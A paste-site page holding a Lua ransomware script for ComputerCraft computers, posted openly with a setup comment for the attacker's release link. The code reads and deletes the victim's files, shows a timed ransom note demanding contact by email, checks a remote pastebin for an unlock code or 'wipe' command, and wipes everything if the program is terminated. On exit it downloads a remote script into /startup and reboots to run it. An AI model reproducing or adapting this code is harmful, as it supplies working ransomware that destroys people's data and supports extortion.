asteroidsteam icon

Computercraft Ransomware

asteroidsteam | PRO | 11/29/20 06:15:23 PM UTC (Edited) | 0 ⭐ | 3991 👁️ | Never ⏰ | []
Lua |

3.33 KB

|

None

|

0 👍

/

0 👎

----------------
local ransomlink = "https://pastebin.com/raw/9hu9M3q3" --Change this to a RAW pastebin link that says the computer id to let thier computer free 
----------------
local ransomtext = [[
Warning! All your data on your hard drive has been stored to ram! That means if you exit this program all your data will be LOST Please message "***.****.**@gmail.com" within 5:00 min or your data will be DESTROYED!
 
Press [V] to verify your payment
Press [D] to view data that has been encrypted
Press [E] to exit (Once exited all files will be lost.)
 
]]
local violatetext = [[
You terminated the program! All your files have been REMOVED from your pc and all ram data was cleared.
 
Sorry!
]]
local paytext = [[
Thank you for paying! All your data has been restored and the program is exiting! Goodbye SUKKA
 
Best Regards (Just kidding),
                            Jack
]]
local exitPText = [[
Well, you put it on yourself you did not want to pay! goodbye your files.
 
Byebye.
]]
local noPayText = [[
Im sorry, you did not pay within 5:00 min! All your files have been deleted.
]]
local invalidPayment = "Invalid payment! Or not detected! Please pay and/or try again. Use the code: "..os.getComputerID().." In the payment message."
printError(ransomtext)
local files = fs.list("/")
local data = {}
for i=1,#files do
  if fs.isDir(files[i]) == false then
    local file = fs.open(files[i], "r")
    local fData = file.readAll()
    local tempArray = {files[i], fData}
    file.close()
    table.insert(data, tempArray)
    fs.delete(files[i])
  end
end
while true do
  local evt, key = os.pullEventRaw()
  if (key == keys.v) and evt == "key" then
    local url = http.get(ransomlink)
    local code = url.readAll()
    url.close()
    if code == "1789-HGFC-4536-JKPO-"..os.getComputerID() then
      os.sleep(3)
      for i=1,#data do
        local file = fs.open(data[i][1], "w")
        file.write(data[i][2])
        file.close()
      end
      printError(paytext)
      break
    elseif code == "wipe" then 
      data = {}
      local files = fs.list("/")
      for i=1,#files do
        if files[i] == "rom" then
        else
          fs.delete(files[i])
        end
      end
      printError(noPayText)
      break
    else
      printError(invalidPayment)
    end
  elseif evt == "terminate" then
    local files = fs.list("/")
    printError(violatetext)
    for i=1,#files do
      if files[i] == "rom" then
      else
        fs.delete(files[i])
      end
    end    
    return
  elseif evt == "key" and key == keys.d then
    local files = fs.list("/")
    for i=1,#data do
      printError("IN RAM STORAGE 1: "..data[i][1])
    end
    for i=1,#files do
      if files[i] == "rom" then
        printError("IN COMPUTER STORAGE: "..files[i])
      else
        printError("IN RAM STORAGE 2: "..files[i])
      end
    end
  elseif evt == "key" and key == keys.e then
    data = {}
    local files = fs.list("/")
    for i=1,#files do
      if files[i] == "rom" then
      else
        fs.delete(files[i])
      end
    end
    printError(exitPText)
    local htp = http.get("https://pastebin.com/raw/NFew0g6n")
    local fread = htp.readAll()
    htp.close()
    local file = fs.open("/startup", "w")
    file.write(fread)
    file.close()
    os.reboot()
    break
  end
end
os.sleep(3)

Comments